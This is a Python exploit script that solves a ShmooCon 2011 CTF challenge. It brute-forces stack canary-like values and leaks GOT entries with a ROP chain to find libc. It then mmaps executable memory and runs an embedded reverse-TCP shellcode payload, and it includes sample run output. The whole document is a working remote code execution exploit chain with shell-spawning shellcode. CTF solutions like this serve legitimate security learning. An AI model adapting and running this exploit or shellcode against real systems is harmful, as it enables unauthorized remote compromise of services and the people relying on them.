#!/usr/bin/env python
# Solution for shmoocon barcode/ghost in the shellcode 2011, challenge #3
# It does not use JS send() memory leak but brute-forces the stack (like an
# SSP brute-force), so it becomes a regular stack-based buffer overflow.
# We use send() to leak remote process memory and use this to find remote libc
# base address by looking at resolved libc functions in binary's .got section.
# Finally mmap() ourselves an rwx area, recv() a shellcode and return to it.
from sys import argv, exit
from struct import pack, unpack
from time import sleep
from socket import *

# ./3b.py [host (default localhost)] [port (default 2426)]
host = argv[1] if len(argv)>1 else "localhost"
port = int(argv[2]) if len(argv)>2 else 2426

pop_11 = 0x8049812 # add esp 0x1c (28) ; pop ebx ; pop esi ; pop edi ; pop ebp ;;
pop_4 = 0x8049815 # pop ebx ; pop esi ; pop edi ; pop ebp ;;
send_plt = 0x08048E98
recv_plt = 0x08048CB8
exit_plt = 0x08048F58

got_plt_start, got_plt_end = 0x0804AFF4, 0x0804B0C8
# Some libc functions already resolved by GOT/PLT
# by the time we smash the stack
signal_got = 0x0804B00C
recv_got   = 0x0804B014
listen_got = 0x0804B01C

# Functions in my libc and its base address during a local run
my_signal = 0xb7d48530
my_recv   = 0xb7deccb0
my_listen = 0xb7decc70
my_mmap   = 0xb7de7ee0
my_libc_ba = 0xb7d1e000

def connect():
	s = socket(AF_INET, SOCK_STREAM)
	s.connect((host,port))
	return s

def alive():
	s = connect()
	s.send("a=new Socket();a.send('ping\\n');")
	r = s.recv(5)
	s.close()
	return r=='ping\n'

def try_byte(current, byte, timout=0.3):
	s = connect()
	s.settimeout(timout)
	p = "A"*(1056) + current + byte
	found = False
	try:
		s.send(("a=new Socket();a.recv("+str(len(p))+");a.send('HAI\\n')//").ljust(1024,"X"))
		s.send(p)
		found = s.recv(4)=="HAI\n"
	except timeout, e:
		pass
	s.close()
	return found

def find_byte(current, first_check=[]):
	timout = 0.2 if host=="localhost" else 0.6
	found = False
	while not found:
		for i in first_check+list(set(range(256))-set(first_check)):
			if try_byte(current, chr(i), timout):
				found = True
				print " * found byte 0x%02x" % i
				return chr(i)
		if not found:
			timout *= 2
			if alive():
				print "Not found, retrying with timeout %.1f" % timout
			else:
				print "Target dead?"
				exit(1)

def bf_stack():
	print "Brute-forcing the stack to get sebp, seip & context addresses"
	sebp = ''
	sebp += find_byte(sebp,[0x68])
	sebp += find_byte(sebp,[0xeb])
	sebp += find_byte(sebp,[0xff])
	sebp += find_byte(sebp,[0xbf])
	seip = ''
	seip += find_byte(sebp+seip,[0xa7])
	seip += find_byte(sebp+seip,[0x47])
	seip += find_byte(sebp+seip,[0xee])
	seip += find_byte(sebp+seip,[0xb7])
	context = ''
	context += find_byte(sebp+seip+context,[0xd0])
	context += find_byte(sebp+seip+context,[0x56])
	context += find_byte(sebp+seip+context,[0x05])
	context += find_byte(sebp+seip+context,[0x08])
	sebp, seip, context = unpack("<I",sebp)[0], unpack("<I",seip)[0], unpack("<I",context)[0]
	print "Found: sebp, seip, context = 0x%08x, 0x%08x, 0x%08x" % (sebp, seip, context)
	return (sebp, seip, context)

def prepare_payload_rop():
	p = "A"*1060
	p += pack("<I", pop_11) # seip
	p += pack("<I", context) # do not smash context
	p += pack("<I", 0)*3 # unused
	p += pack("<I", context-4) # something writeable
	p += pack("<I", 0)*(11-5) # unused
	return p # after that goes the rop payload

def leak_mem(start,length):
	p  = prepare_payload_rop()
	p += pack("<I", send_plt)
	p += pack("<I", pop_4)
	p += "FDNO" # int fd
	p += pack("<I", start) # void *buf
	p += pack("<I", length) # size_t n
	p += pack("<I", 0) # int flags
	p += pack("<I", exit_plt)

	s = connect()
	s.send(("a=new Socket();a.send(a.fileno);a.recv("+str(len(p))+");//").ljust(1024,"X"))
	fileno = unpack("<I", s.recv(4))[0]
	p = p.replace("FDNO", pack("<I",fileno))
	s.send(p)
	r = ''
	try:
		while len(r)<length:
			r += s.recv(length)
	except timeout, e:
		pass
	s.close()
	return r

def get_libc_ba():
	mem = leak_mem(got_plt_start, got_plt_end-got_plt_start)
	
	signal = unpack("<I", mem[signal_got-got_plt_start:signal_got-got_plt_start+4])[0]
	recv   = unpack("<I", mem[recv_got-got_plt_start:recv_got-got_plt_start+4])[0]
	listen = unpack("<I", mem[listen_got-got_plt_start:listen_got-got_plt_start+4])[0]

	guess1 = signal - (my_signal - my_libc_ba)
	guess2 = recv   - (my_recv   - my_libc_ba)
	guess3 = listen - (my_listen - my_libc_ba)
	if guess1==guess2==guess3:
		return guess1
	print "Could not find remote libc base address - maybe different version?"
	print "You can try to leak it using leak_mem() progressively, then explore it to find needed offsets you need"
	exit(1)

def exploit(SC, area=0x13370000, size=0x10000):
	p  = prepare_payload_rop()
	
	# mmap an rwx area at 0x13370000
	p += pack("<I", libc + (my_mmap - my_libc_ba))
	p += pack("<I", pop_11)
	p += pack("<I", area) # void *addr
	p += pack("<I", size) # size_t length
	p += pack("<I", 0x7) # int prot - PROT_READ(0x1) | PROT_WRITE(0x2) | PROT_EXEC(0x4)
	p += pack("<I", 0x22) # int flags - MAP_ANONYMOUS(0x20) | MAP_PRIVATE(0x02)
	p += pack("<I", 0xffffffff) # int fd - MAP_ANONYMOUS => -1
	p += pack("<I", 0) # off_t offset
	p += pack("<I", 0)*(11-6) # unused
	
	# receive a shellcode in it
	p += pack("<I", recv_plt)
	p += pack("<I", pop_4)
	p += "FDNO" # int fd
	p += pack("<I", area) # void *buf
	p += pack("<I", len(SC)) # size_t n
	p += pack("<I", 0) # int flags
	
	# jump to it
	p += pack("<I", area)
	
	s = connect()
	s.send(("a=new Socket();a.send(a.fileno);a.recv("+str(len(p))+");//").ljust(1024,"X"))
	fileno = unpack("<I", s.recv(4))[0]
	p = p.replace("FDNO", pack("<I",fileno))
	s.send(p)
	s.send(SC)
	s.close()
	print "Done. Have shell?"

# Shellcode to use
# msfpayload linux/x86/shell_reverse_tcp LHOST="127.0.0.1" LPORT="1337" R |hexdump -ve '"\\\x" 1/1 "%02x"'; echo;
SC = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\x7f\x00\x00\x01\x66\x68\x05\x39\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

sebp, seip, context = bf_stack()
libc = get_libc_ba()
print "Remote libc at 0x%08x" % libc
exploit(SC)

# $ ./3b.py
# Brute-forcing the stack to get sebp, seip & context addresses
#  * found byte 0x98
#  * found byte 0x2d
#  * found byte 0xff
#  * found byte 0xbf
#  * found byte 0xa7
#  * found byte 0x97
#  * found byte 0x75
#  * found byte 0xb7
#  * found byte 0xd0
#  * found byte 0x26
#  * found byte 0x69
#  * found byte 0x09
# Found: sebp, seip, context = 0xbfff2d98, 0xb77597a7, 0x096926d0
# Remote libc at 0xb7593000
# Done. Have shell?
